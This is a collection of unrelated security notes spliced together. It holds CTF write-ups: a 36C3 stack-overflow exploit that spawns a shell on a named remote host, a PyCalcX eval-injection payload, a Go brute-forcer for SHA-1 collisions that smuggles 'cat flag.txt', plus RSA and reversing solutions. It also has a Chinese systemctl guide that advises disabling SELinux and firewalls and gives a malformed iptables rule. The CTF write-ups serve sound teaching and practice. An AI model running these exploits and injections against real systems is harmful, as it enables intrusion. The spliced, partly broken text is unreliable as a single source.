> Welcome to Stack Buffer Overflow as a Service! Since modern mitigations made it more difficult to exploit vulnerabilities, we decided to offer an easy and convenient service for everyone to experience the joy of exploiting a stack-based buffer overflow. Simply enter your data and win! nc 209.250.235.77 22222
A binary file was attached.
## Solution
Let's inspect the binary file:
```console
root@kali:/media/sf_CTFs/36c3/SPOaaS# file stack
stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=076e706085388e7880893724f98034ce9b60bead, not stripped
root@kali:/media/sf_CTFs/36c3/SPOaaS# checksec.sh -f stack
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 4stack
```
Let's open it with Ghidra:
```c
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
stack();
puts("Thank you for using SBOaaS :)");
return 0;
}
void stack(void)
{
char acStack1352 [1352];
puts(
"\n------------------------------------------------------------------\n SBOaaS \n------------------------------------------------------------------\n\nWelcome to StackBuffer Overflow as a Service\n\nSince modern mitigations made it more difficult to exploitvulnerabilities,\nwe decided to offer an easy and convenient service for everyone\ntoexperience the joy of exploiting a stack-based buffer overflow.\nSimply enter your data andwin!\n"
);
printf("Please enter your data. Good luck!\n> ");
gets(acStack1352);
return;
}
```
This is a very simple buffer overflow. We'll override the return address of `stack` and jump to:
```c
void spawn_shell(void)
{
char *local_18;
undefined8 local_10;
local_18 = "/bin/bash";
local_10 = 0;
execve("/bin/bash",&local_18,(char **)0x0);
return;
}
```
The exploit:
```python
# Generate template using:
# pwn template --host 209.250.235.77 --port 22222 ./stack
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
import os
def send_payload(proc, payload):
proc.sendlineafter("> ", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(1380, n = exe.bytes)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes))
return offset
overflow_offset = get_overflow_offset()
log.info("spawn_shell() address: {}".format(hex(exe.symbols["spawn_shell"])))
io = start()
payload = fit({overflow_offset: exe.symbols["spawn_shell"]}, filler = 'B')
send_payload(io, payload)
io.interactive()
```
The output:
```console
root@kali:/media/sf_CTFs/36c3/SPOaaS# python exploit.py
[*] '/media/sf_CTFs/36c3/SPOaaS/stack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/media/sf_CTFs/36c3/SPOaaS/stack': pid 2446
[*] Process '/media/sf_CTFs/36c3/SPOaaS/stack' stopped with exit code -11 (SIGSEGV) (pid 2446)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/36c3/SPOaaS/core.2446'
Arch: amd64-64-little
RIP: 0x40068a
RSP: 0x7fffce3b59d8
Exe: '/media/sf_CTFs/36c3/SPOaaS/stack' (0x400000)
Fault: 0x6761616161616174
[*] Overflow offset: 1352 (8-byte architecture)
[*] spawn_shell() address: 0x40068b
[+] Opening connection to 209.250.235.77 on port 22222: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
stack
sys
tmp
usr
var
$ cat flag.txt
junior-20165bcdbfebe4710bd0a1c168a5e752d999676e
$
```
|
sec-knowleage
|
systemctl
===
系统服务管理器指令
## 补充说明
**systemctl命令** 是系统服务管理器指令,它实际上将 service 和 chkconfig 这两个命令组合到一起。
| 任务 | 旧指令 | 新指令 |
| ---- | ---- | ---- |
| 使某服务自动启动 | chkconfig --level 3 httpd on | systemctl enable httpd.service |
| 使某服务不自动启动 | chkconfig --level 3 httpd off | systemctl disable httpd.service |
| 检查服务状态 | service httpd status | systemctl status httpd.service (服务详细信息) systemctl is-active httpd.service (仅显示是否 Active) |
| 显示所有已启动的服务 | chkconfig --list | systemctl list-units --type=service |
| 启动服务 | service httpd start | systemctl start httpd.service |
| 停止服务 | service httpd stop | systemctl stop httpd.service |
| 重启服务 | service httpd restart | systemctl restart httpd.service |
| 重载服务 | service httpd reload | systemctl reload httpd.service |
### 实例
```shell
systemctl start nfs-server.service . # 启动nfs服务
systemctl enable nfs-server.service # 设置开机自启动
systemctl disable nfs-server.service # 停止开机自启动
systemctl status nfs-server.service # 查看服务当前状态
systemctl restart nfs-server.service # 重新启动某服务
systemctl list-units --type=service # 查看所有已启动的服务
```
开启防火墙22端口
```shell
iptables -I INPUT -p tcp --dport 22 -j accept
```
如果仍然有问题,就可能是SELinux导致的
关闭SElinux:
修改`/etc/selinux/config`文件中的`SELINUX=""`为disabled,然后重启。
彻底关闭防火墙:
```shell
sudo systemctl status firewalld.service
sudo systemctl stop firewalld.service
sudo systemctl disable firewalld.service
```
|
sec-knowleage
|
### CGC 超级挑战赛介绍
> 本节内容摘自李康教授于 2016 年 8 月 17 日 ISC 互联网安全大会演讲《网络超级挑战赛中的漏洞发掘与利用》。
CGC 网络超级挑战赛是全球首次机器网络攻防比赛,比赛过程全自动,无任何人工干预。考验机器自动漏洞挖掘、自动软件加固、自动漏洞利用和自动网络防护水平。使用简化的 Linux 操作系统------DECREE,类似 Snort的规则过滤防火墙。对 Linux 二进制程序进行漏洞挖掘。所有参赛队都没有程序源码。
在 2016 年的 CGC 比赛中,挑战的赛题包含了 53 种 CWE。其中包含 28 个堆溢出漏洞、24 个栈溢出漏洞、16 个空指针访问漏洞、13 个整数溢出漏洞和 8 个 UAF 漏洞。
攻防过程由组织方发出挑战程序,各团队服务器可以向组织方提供补丁程序,防火墙规则和攻击程序。修补过的程序和防火墙规则会分发给其他团队。组织方为每个团队运行挑战程序,进行服务测试和攻击并进行评估。
### CGC 超级挑战赛性能评价指标
1. 服务正常访问的反应时间;
2. 打补丁频率;
3. 加固程序的效率;
4. 成功防御攻击的次数统计;
5. 攻击成功次数统计。
### CGC 超级挑战赛分析方法
1. 具体执行-使用正常的执行模式;
2. 符号执行-辅助 Fuzzing 阶段的路径选择;
3. 混合执行-带有具体输入的符号执行,根据输入选择路径,但保留符号条件。
### CGC 经验总结
1. 完美防守的难度远大于生成攻击的难度;
2. 二进制加固程序需要避免功能损失,并最小化性能损失;
3. 安全自动化处理的大趋势已经形成,多数团队可以在几秒钟的时间对简单应用形成攻击并生成有效防守;
4. 对抗中的策略值得研究,根据自身和对手的攻防能力,对资源和动作进行合理调整。
|
sec-knowleage
|
# special-pw
Reversing, 600 points
## Description:
> Can you figure out the right argument to this program to login? We couldn't manage to get a copy of the binary but we did manage to dump some machine code and memory from the running process.
Assembly:
```assembly
.intel_syntax noprefix
.bits 32
.global main ; int main(int argc, char **argv)
main:
push ebp
mov ebp,esp
sub esp,0x10
mov DWORD PTR [ebp-0xc],0x0
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
jmp part_b
part_a:
add DWORD PTR [ebp-0xc],0x1
add DWORD PTR [ebp-0x4],0x1
part_b:
mov eax,DWORD PTR [ebp-0x4]
movzx eax,BYTE PTR [eax]
test al,al
jne part_a
mov DWORD PTR [ebp-0x8],0x0
jmp part_d
part_c:
mov eax,DWORD PTR [ebp+0xc]
add eax,0x4
mov edx,DWORD PTR [eax]
mov eax,DWORD PTR [ebp-0x8]
add eax,edx
mov DWORD PTR [ebp-0x4],eax
mov eax,DWORD PTR [ebp-0x4]
movzx eax,BYTE PTR [eax]
xor eax,0x4c
mov edx,eax
mov eax,DWORD PTR [ebp-0x4]
mov BYTE PTR [eax],dl
mov eax,DWORD PTR [ebp-0x4]
movzx eax,WORD PTR [eax]
ror ax,0x9
mov edx,eax
mov eax,DWORD PTR [ebp-0x4]
mov WORD PTR [eax],dx
mov eax,DWORD PTR [ebp-0x4]
mov eax,DWORD PTR [eax]
rol eax,0x7
mov edx,eax
mov eax,DWORD PTR [ebp-0x4]
mov DWORD PTR [eax],edx
add DWORD PTR [ebp-0x8],0x1
part_d:
mov eax,DWORD PTR [ebp-0xc]
sub eax,0x3
cmp eax,DWORD PTR [ebp-0x8]
jg part_c
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
mov DWORD PTR [ebp-0x10],0x3c7fc74
jmp part_f
part_e:
mov eax,DWORD PTR [ebp-0x4]
movzx edx,BYTE PTR [eax]
mov eax,DWORD PTR [ebp-0x10]
movzx eax,BYTE PTR [eax]
cmp dl,al
je part_k
mov eax,0x0
jmp part_h
part_k:
add DWORD PTR [ebp-0x4],0x1
add DWORD PTR [ebp-0x10],0x1
part_f:
mov eax,DWORD PTR [ebp-0x10]
movzx eax,BYTE PTR [eax]
test al,al
jne part_e
mov eax,DWORD PTR [ebp+0xc]
add eax,0x4
mov eax,DWORD PTR [eax]
mov edx,DWORD PTR [ebp-0x10]
mov ecx,0x3c7fc74
sub edx,ecx
add eax,edx
movzx eax,BYTE PTR [eax]
test al,al
je part_g
mov eax,0x0 ; LOGIN_FAILED
jmp part_h
part_g:
mov eax,0x1 ; LOGIN_SUCCESS
part_h:
leave
ret
```
Memory dump:
```
03C7FC74: 37 a1 2a a3 bd 33 22 ba 2f 3c 98 aa b9 2f 39 a4 |7.*..3"./<.../9.|
03C7FC84: 18 33 aa 9a 2f 39 18 b3 24 3a af 18 99 1c 1c b1 |.3../9..$:......|
03C7FC94: 19 b1 98 1b 3e 59 ae a6 00 |....>Y...|
```
## Solution:
We need to provide an input so that the program will return 1 (LOGIN_SUCCESS).
We can see that all the logic is in the main function, and that the password is `argv[1]` (since `argv` is accessed by `mov eax, DWORD PTR [ebp+0xc]` and then `argv[1]` is `mov eax, DWORD PTR [eax+0x4]`)
First, let's compile the code so that we'll be able to use a debugger if we need it.
The program does not compile out of the box, and the following changes need to be done:
* `.bits 32` -> `.code32`
* Remove all comments
* Add `.text`
* Rename memory offset `0x3c7fc74` to known memory offset of data partition, and add the relevant data
This translates to the following result:
```assembly
.intel_syntax noprefix
.code32
.text
.global main
main:
push ebp
mov ebp,esp
sub esp,0x10
mov DWORD PTR [ebp-0xc],0x0
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
jmp part_b
part_a:
add DWORD PTR [ebp-0xc],0x1
add DWORD PTR [ebp-0x4],0x1
part_b:
mov eax,DWORD PTR [ebp-0x4]
movzx eax,BYTE PTR [eax]
test al,al
jne part_a
mov DWORD PTR [ebp-0x8],0x0
jmp part_d
part_c:
mov eax,DWORD PTR [ebp+0xc]
add eax,0x4
mov edx,DWORD PTR [eax]
mov eax,DWORD PTR [ebp-0x8]
add eax,edx
mov DWORD PTR [ebp-0x4],eax
mov eax,DWORD PTR [ebp-0x4]
movzx eax,BYTE PTR [eax]
xor eax,0x4c
mov edx,eax
mov eax,DWORD PTR [ebp-0x4]
mov BYTE PTR [eax],dl
mov eax,DWORD PTR [ebp-0x4]
movzx eax,WORD PTR [eax]
ror ax,0x9
mov edx,eax
mov eax,DWORD PTR [ebp-0x4]
mov WORD PTR [eax],dx
mov eax,DWORD PTR [ebp-0x4]
mov eax,DWORD PTR [eax]
rol eax,0x7
mov edx,eax
mov eax,DWORD PTR [ebp-0x4]
mov DWORD PTR [eax],edx
add DWORD PTR [ebp-0x8],0x1
part_d:
mov eax,DWORD PTR [ebp-0xc]
sub eax,0x3
cmp eax,DWORD PTR [ebp-0x8]
jg part_c
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [ebp-0x4],eax
mov DWORD PTR [ebp-0x10], OFFSET mydata
jmp part_f
part_e:
mov eax,DWORD PTR [ebp-0x4]
movzx edx,BYTE PTR [eax]
mov eax,DWORD PTR [ebp-0x10]
movzx eax,BYTE PTR [eax]
cmp dl,al
je part_k
mov eax,0x0
jmp part_h
part_k:
add DWORD PTR [ebp-0x4],0x1
add DWORD PTR [ebp-0x10],0x1
part_f:
mov eax,DWORD PTR [ebp-0x10]
movzx eax,BYTE PTR [eax]
test al,al
jne part_e
mov eax,DWORD PTR [ebp+0xc]
add eax,0x4
mov eax,DWORD PTR [eax]
mov edx,DWORD PTR [ebp-0x10]
mov ecx,OFFSET mydata
sub edx,ecx
add eax,edx
movzx eax,BYTE PTR [eax]
test al,al
je part_g
mov eax,0x0
jmp part_h
part_g:
mov eax,0x1
part_h:
leave
ret
.data
mydata:
.byte 0x37
.byte 0xa1
.byte 0x2a
.byte 0xa3
.byte 0xbd
.byte 0x33
.byte 0x22
.byte 0xba
.byte 0x2f
.byte 0x3c
.byte 0x98
.byte 0xaa
.byte 0xb9
.byte 0x2f
.byte 0x39
.byte 0xa4
.byte 0x18
.byte 0x33
.byte 0xaa
.byte 0x9a
.byte 0x2f
.byte 0x39
.byte 0x18
.byte 0xb3
.byte 0x24
.byte 0x3a
.byte 0xaf
.byte 0x18
.byte 0x99
.byte 0x1c
.byte 0x1c
.byte 0xb1
.byte 0x19
.byte 0xb1
.byte 0x98
.byte 0x1b
.byte 0x3e
.byte 0x59
.byte 0xae
.byte 0xa6
.byte 0x00
```
Now we can compile with:
```console
root@kali:/media/sf_CTFs/pico/special-pw# gcc -m32 -o prog modified_assembly.s
```
We can see the graph view of the function with Radare2:
```
root@kali:/media/sf_CTFs/pico/special-pw# r2 prog
-- This incident will be reported
[0x00001060]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00001060]> s main
[0x00001060]> VV
```
The first part iterates the input, and calculates the length of the input string.
```
.-----------------------------------------------.
| [0x1199] |
| (fcn) main 231 |
| main (int argc, char **argv, char **envp); |
| ; var int local_10h @ ebp-0x10 |
| ; var int length @ ebp-0xc |
| ; var int i @ ebp-0x8 |
| ; var int pointer @ ebp-0x4 |
| ; arg int input @ ebp+0xc |
| push ebp |
| mov ebp, esp |
| sub esp, 0x10 |
| mov dword [length], 0 |
| ; [0xc:4]=0 |
| mov eax, dword [input] |
| ; [0x4:4]=0x10101 |
| mov eax, dword [eax + 4] |
| mov dword [pointer], eax |
| jmp loc.part_b;[ga] |
`-----------------------------------------------'
v
|
'-------.
.--------------------.
| | |
| .----------------------------------.
| | 0x11b9 [ga] |
| | ;-- part_b: |
| | ; CODE XREF from main (0x11af) |
| | mov eax, dword [pointer] |
| | movzx eax, byte [eax] |
| | test al, al |
| | jne loc.part_a;[gc] |
| `----------------------------------'
| t f
| | |
| .-------------' |
| | '---------------------.
| | |
|.--------------------------------. .-------------------------------.
|| 0x11b1 [gc] | | 0x11c3 [ge] |
|| ;-- part_a: | | mov dword [i], 0 |
|| add dword [length], 1 | | jmp loc.part_d;[gd] |
|| add dword [pointer], 1 | `-------------------------------'
|`--------------------------------' v
| v |
| | |
`----' |
```
The next part runs for i=0..(length-3):
```
'---.
.------------------------------------.
| | |
| .----------------------------------.
| | 0x1211 [gd] |
| | ;-- part_d: |
| | ; CODE XREF from main (0x11ca) |
| | mov eax, dword [length] |
| | sub eax, 3 |
| | cmp eax, dword [i] |
| | jg loc.part_c;[gf] |
| `----------------------------------'
| t f
| | |
| .-----------------------------' |
| | '-------.
| | |
|.----------------------------------. .--------------------------------------
|| 0x11cc [gf] | | 0x121c [gh] |
|| ;-- part_c: | | ; [0xc:4]=0 |
|| ; [0xc:4]=0 | | mov eax, dword [input] |
|| mov eax, dword [input] | | ; [0x4:4]=0x10101 |
|| add eax, 4 | | mov eax, dword [eax + 4] |
|| mov edx, dword [eax] | | mov dword [pointer], eax |
|| mov eax, dword [i] | | ; 0x4018 |
|| add eax, edx | | |
|| mov dword [pointer], eax | | mov dword [data_ptr], loc.mydata |
|| mov eax, dword [pointer] | | jmp loc.part_f;[gg] |
|| movzx eax, byte [eax] | `-------------------------------------'
|| xor eax, 0x4c | v
|| mov edx, eax | |
|| mov eax, dword [pointer] | |
|| mov byte [eax], dl | |
|| mov eax, dword [pointer] | |
|| movzx eax, word [eax] | |
|| ror ax, 9 | |
|| mov edx, eax | |
|| mov eax, dword [pointer] | |
|| mov word [eax], dx | |
|| mov eax, dword [pointer] | |
|| mov eax, dword [eax] | |
|| rol eax, 7 | |
|| mov edx, eax | |
|| mov eax, dword [pointer] | |
|| mov dword [eax], edx | |
|| add dword [i], 1 | |
|`----------------------------------' |
| v |
| | |
`----' |
```
This part performs the encryption in `[gf]` by performing xor, ror and rol. Once done, `[gh]` and the sections after it compare the encrypted result to the expected result stored in `mydata`.
Translated to Python, the encryption algorithm is:
```python
def encrypt(b_arr):
b = bytearray(b_arr)
for i in range(len(b_arr) - 3):
# XOR Byte
t = b[i]
t ^= 0x4c
b[i] = t
# ROR WORD
t = struct.unpack('<H', b[i:i+2])[0]
t = ror(t, 9, word_size = 16)
b[i:i+2] = bytearray(struct.pack("<H", t))
# ROL DWORD
t = struct.unpack('<I', b[i:i+4])[0]
t = rol(t, 7, word_size = 32)
b[i:i+4] = bytearray(struct.pack("<I", t))
return str(b)
```
Note that each of the operations is done on a differnt word size.
To decrypt, we will have to start from the end and move back, performing the opposite operation for each step:
```python
def decrypt(b_arr):
b = bytearray(b_arr)
for i in range(len(b_arr) - 5, -1, -1):
# ROR DWORD
t = struct.unpack('<I', b[i:i+4])[0]
t = ror(t, 7, word_size = 32)
b[i:i+4] = bytearray(struct.pack("<I", t))
# ROL WORD
t = struct.unpack('<H', b[i:i+2])[0]
t = rol(t, 9, word_size = 16)
b[i:i+2] = bytearray(struct.pack("<H", t))
# XOR Byte
t = b[i]
t ^= 0x4c
b[i] = t
```
Note that the opposite of rol(7) is ror(7), the opposite of ror(9) is rol(9), and the opposite of xor(0x4c) is xor(0x4c).
Now that we can decrypt, we run the decryption function on `mydata` and get the flag:
```python
from pwn import *
import struct
def encrypt(b_arr):
b = bytearray(b_arr)
for i in range(len(b_arr) - 3):
# XOR Byte
t = b[i]
t ^= 0x4c
b[i] = t
# ROR WORD
t = struct.unpack('<H', b[i:i+2])[0]
t = ror(t, 9, word_size = 16)
b[i:i+2] = bytearray(struct.pack("<H", t))
# ROL DWORD
t = struct.unpack('<I', b[i:i+4])[0]
t = rol(t, 7, word_size = 32)
b[i:i+4] = bytearray(struct.pack("<I", t))
return str(b)
def decrypt(b_arr):
b = bytearray(b_arr)
for i in range(len(b_arr) - 5, -1, -1):
# ROR DWORD
t = struct.unpack('<I', b[i:i+4])[0]
t = ror(t, 7, word_size = 32)
b[i:i+4] = bytearray(struct.pack("<I", t))
# ROL WORD
t = struct.unpack('<H', b[i:i+2])[0]
t = rol(t, 9, word_size = 16)
b[i:i+2] = bytearray(struct.pack("<H", t))
# XOR Byte
t = b[i]
t ^= 0x4c
b[i] = t
return str(b)
b = """37 a1 2a a3 bd 33 22 ba 2f 3c 98 aa b9 2f 39 a4
18 33 aa 9a 2f 39 18 b3 24 3a af 18 99 1c 1c b1
19 b1 98 1b 3e 59 ae a6 00""".replace(" ", "").replace("\n", "").decode("hex")
d = decrypt(b)
log.success("Flag: {}".format(d))
```
The output:
```console
root@kali:/media/sf_CTFs/pico/special-pw# python solve.py
[+] Flag: picoCTF{gEt_y0Ur_sH1fT5_r1gHt_0389c2b16}\x00
```
The flag: picoCTF{gEt_y0Ur_sH1fT5_r1gHt_0389c2b16}
|
sec-knowleage
|
# Mind your Ps and Qs
Category: Crypto, 20 points
## Description
> In RSA, a small e value can be problematic, but what about N? Can you decrypt this?
```
Decrypt my super sick RSA:
c: 240986837130071017759137533082982207147971245672412893755780400885108149004760496
n: 831416828080417866340504968188990032810316193533653516022175784399720141076262857
e: 65537
```
## Solution
`n` is small and can be factored into `p` and `q`:
```python
from factordb.factordb import FactorDB
import gmpy2
c = 240986837130071017759137533082982207147971245672412893755780400885108149004760496
n = 831416828080417866340504968188990032810316193533653516022175784399720141076262857
e = 65537
f = FactorDB(n)
f.connect()
p, q = f.get_factor_list()
ph = (p-1)*(q-1)
d = gmpy2.invert(e, ph)
plaintext = pow(c, d, n)
print("Flag: {}".format(bytearray.fromhex(format(plaintext, 'x')).decode()))
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Mind_your_Ps_and_Qs]
└─$ python3 solve.py
Flag: picoCTF{sma11_N_n0_g0od_23540368}
```
The flag: `picoCTF{sma11_N_n0_g0od_23540368}`
|
sec-knowleage
|
package main
import (
"crypto/sha1"
"fmt"
"sync"
)
var sm sync.Map
type Thing struct {
msg string
t int
}
type IPZeros struct {
ip0 int
ip1 int
ip2 int
ip3 int
}
func zeros(count int) string {
b := ""
for i := 0; i < count; i++ {
b = b + "0"
}
return b
}
func countUndefined(b string) int {
current := 0
for _, c := range b {
if c == 65533 {
current++
}
}
return current
}
func work2(id int, ips chan int) {
for ipz := range ips {
ip := "::" + zeros(ipz) + ":"
for i := 1; i < 1000; i++ {
ip1 := ip + zeros(i) + ":"
for i2 := 1; i2 < 1000; i2++ {
ip2 := ip1 + zeros(i2) + ":"
for i3 := 1; i3 < 1000; i3++ {
ip3 := ip2 + zeros(i3) + ":ffff:18.197.117.65"
msg := ip3 + "|" + "cat flag.txt"
digest := sha1.Sum([]byte(msg))
b := string(digest[:])
current := countUndefined(b)
if current >= 19 {
i, loaded := sm.LoadOrStore(b, Thing{msg, 1})
if loaded && (i.(Thing)).t == 0 {
thing := i.(Thing)
fmt.Println("SUCCESS")
fmt.Println(thing.msg)
fmt.Println(msg)
}
fmt.Printf("ID %d found a match\n", id)
fmt.Println(current)
fmt.Println(ip3)
}
}
}
}
}
}
func work(id int, ips chan int) {
for ipz := range ips {
ip := "::" + zeros(ipz) + ":"
for i := 1; i < 1000; i++ {
ip1 := ip + zeros(i) + ":"
for i2 := 1; i2 < 1000; i2++ {
ip2 := ip1 + zeros(i2) + ":"
for i3 := 1; i3 < 1000; i3++ {
ip3 := ip2 + zeros(i3) + ":ffff:18.197.117.65"
fmt.Println(ip3)
msg := ip3 + "|" + "ls -l"
digest := sha1.Sum([]byte(msg))
b := string(digest[:])
current := countUndefined(b)
if current >= 19 {
i, loaded := sm.LoadOrStore(b, Thing{msg, 0})
if loaded && (i.(Thing)).t == 1 {
thing := i.(Thing)
fmt.Println("SUCCESS")
fmt.Println(thing.msg)
fmt.Println(msg)
}
fmt.Printf("ID %d found a match\n", id)
fmt.Println(current)
fmt.Println(ip3)
}
}
}
}
}
}
func main() {
queue := make(chan int, 1000)
queue2 := make(chan int, 1000)
var wg sync.WaitGroup
for i := 0; i < 18; i++ {
wg.Add(1)
go work(i, queue)
wg.Add(1)
go work2(i+10000, queue2)
}
for i0 := 1; i0 < 1000; i0++ {
queue <- i0
queue2 <- i0
}
wg.Wait()
}
|
sec-knowleage
|
### Android 应用运行机制简述
本部分主要关注 Android 中 Java 层代码与 Native 层代码的基本运行原理。
一般而言,在启动一个 App 时,Android 会首先执行 Application 类(AndroidManifest.xml 文件中注明)的创建工作,然后再开始执行 Main Activity,继而根据各种各样的逻辑执行相关代码。
注:本部分的内容可能存在以下问题
- 简略
- 理解不到位
如果发现可以补充的地方,欢迎随时及时补充。当然,本部分内容也会随着时间不断更新。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH INSTALL 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
install \- 复制文件并设置属性
.SH 概述
\fBinstall\fP [\fI\,选项\/\fP]... [\fI\,\-T\/\fP] \fI\,源文件 目标文件\/\fP
.br
\fBinstall\fP [\fI\,选项\/\fP]... \fI源文件列表\fP... \fI目录\fP
.br
\fBinstall\fP [\fI\,选项\/\fP]... \fI\,\-t 目录 源文件列表\/\fP...
.br
\fBinstall\fP [\fI\,选项\/\fP]... \fI\,\-d 目录列表\/\fP...
.SH 描述
.\" Add any additional description here
.PP
本程序将文件(通常是刚编译生成的文件)复制到您选定的目的位置。如果您想要在 GNU/Linux 系统上下载安装开箱即用的软件包,您应当使用像
\fByum\fP(1) 或 \fBapt\-get\fP(1) 这样的软件包管理器。
.PP
在给出的前三种格式中,程序会将源文件复制为目标文件或将多个源文件复制到指定的已存在目录中,同时设置文件权限与属主、属组。在第四种格式中,程序将创建给定目录及其所有组件。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-\-backup\fP[=\fI\,控制参数\/\fP]
为每个已存在的目标文件创建一个备份
.TP
\fB\-b\fP
类似 \fB\-\-backup\fP,但是不接受参数
.TP
\fB\-c\fP
(被忽略的选项)
.TP
\fB\-C\fP, \fB\-\-compare\fP
比较源文件与目标文件的内容。如果没有内容、所有者和权限的区别,则完全不修改目标文件
.TP
\fB\-d\fP, \fB\-\-directory\fP
将所有参数看作目录名称;创建指定目录的所有相关组件
.TP
\fB\-D\fP
创建目标文件路径中除最后一个部分以外所有组成部分(缺失的父目录),或者 \fB\-\-target\-directory\fP
的全部组成部分,然后将源文件复制为目标文件
.TP
\fB\-g\fP, \fB\-\-group\fP=\fI\,组名\/\fP
设置组所有权,而不是使用进程的当前组所有权
.TP
\fB\-m\fP, \fB\-\-mode\fP=\fI\,模式\/\fP
设置权限模式(类似 chmod),而不是 rwxr\-xr\-x
.TP
\fB\-o\fP, \fB\-\-owner\fP=\fI\,所有者\/\fP
设置所有权(仅适用于超级用户)
.TP
\fB\-p\fP, \fB\-\-preserve\-timestamps\fP
将源文件的访问/修改时间应用于相应目标文件
.TP
\fB\-s\fP, \fB\-\-strip\fP
剥离符号表
.TP
\fB\-\-strip\-program\fP=\fI\,程序\/\fP
指定用于剥离(strip)二进制文件的程序
.TP
\fB\-S\fP, \fB\-\-suffix\fP=\fI\,后缀\/\fP
替换常用的备份文件后缀
.TP
\fB\-t\fP, \fB\-\-target\-directory\fP=\fI\,目录\/\fP
复制源目录列表中的所有文件到指定目录
.TP
\fB\-T\fP, \fB\-\-no\-target\-directory\fP
将目标文件当作普通文件对待(而不是目录)
.TP
\fB\-v\fP, \fB\-\-verbose\fP
每次创建目录都输出目录名
.TP
\fB\-\-preserve\-context\fP
保持 SELinux 安全上下文
.TP
\fB\-Z\fP
将目标文件和每个创建的目录的 SELinux 安全上下文设置为默认类型
.TP
\fB\-\-context\fP[=\fI\,CTX\/\fP]
类似 \fB\-Z\fP,或者如果指定了上下文,则将 SELinux 或者 SMACK 安全上下文设置为指定类型
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
文件备份所使用的后缀是“~”,除非设置了 \fB\-\-suffix\fP 或者 SIMPLE_BACKUP_SUFFIX。版本控制的方式可通过
\fB\-\-backup\fP 选项选择或者通过 VERSION_CONTROL 这个环境变量。可选的值如下所示:
.TP
none, off
从不做备份(即使给定了 \fB\-\-backup\fP)
.TP
numbered, t
做带编号的备份
.TP
existing, nil
如果备份带编号则继续以编号方式备份,否则采用简单备份
.TP
simple, never
总做简单备份
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/install>
.br
或者在本地使用: info \(aq(coreutils) install invocation\(aq
|
sec-knowleage
|
package org.vulhub.spring4shell.config;
import org.springframework.web.servlet.support.AbstractAnnotationConfigDispatcherServletInitializer;
public class SpringMvcDispatcherServletInitializer extends AbstractAnnotationConfigDispatcherServletInitializer {
@Override
protected Class<?>[] getRootConfigClasses() {
// TODO Auto-generated method stub
return null;
}
@Override
protected Class<?>[] getServletConfigClasses() {
return new Class[] { AppConfig.class };
}
@Override
protected String[] getServletMappings() {
return new String[] { "/" };
}
}
|
sec-knowleage
|
# PyCalcX (web)
Those were almost identical challenges, and in fact the first one had a simpler, unintended, solution and therefore another version was released.
## PyCalcX (64 solved, 100p)
In the first challenge we get access to a webpage which can evaluate some python for us.
The flag is loaded into the memory, so we basically have a Python Jailbreak to solve.
We get the [source code](calc1.py) of the challenge.
The important things are:
1. We can see only integer or boolean output.
2. Parameters are sanitized, and stringified.
3. Types of parameters have to match.
4. The final payload to eval is `str(repr(value1)) + str(op) + str(repr(value2))` which means for example `'a' + '+' + 'b'`
The vulnerability is here:
```python
def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
```
The `operator` can be 2-bytes long (like `==`), but only the first byte is checked!
This means for example that we can use operator `+'` and therefore close the `'` quote.
This means we could evaluate: `'SOMETHING' +''+FLAG and FLAG>source#'` which means `some_string and boolean`, which evaluates to the value of this boolean.
Keep in mind we're using the:
```python
if 'source' in arguments:
source = arguments['source'].value
```
And not for example `value1` variable, because `source` has no blacklist limitations.
```python
import re
import string
import urllib
import requests
def main():
flag = "M"
while True:
prev = 0
for i in range(255):
c = chr(i)
if c in string.printable:
source = urllib.quote_plus(flag + c)
op = urllib.quote_plus("+'")
arg2 = urllib.quote_plus("+FLAG and FLAG>source#")
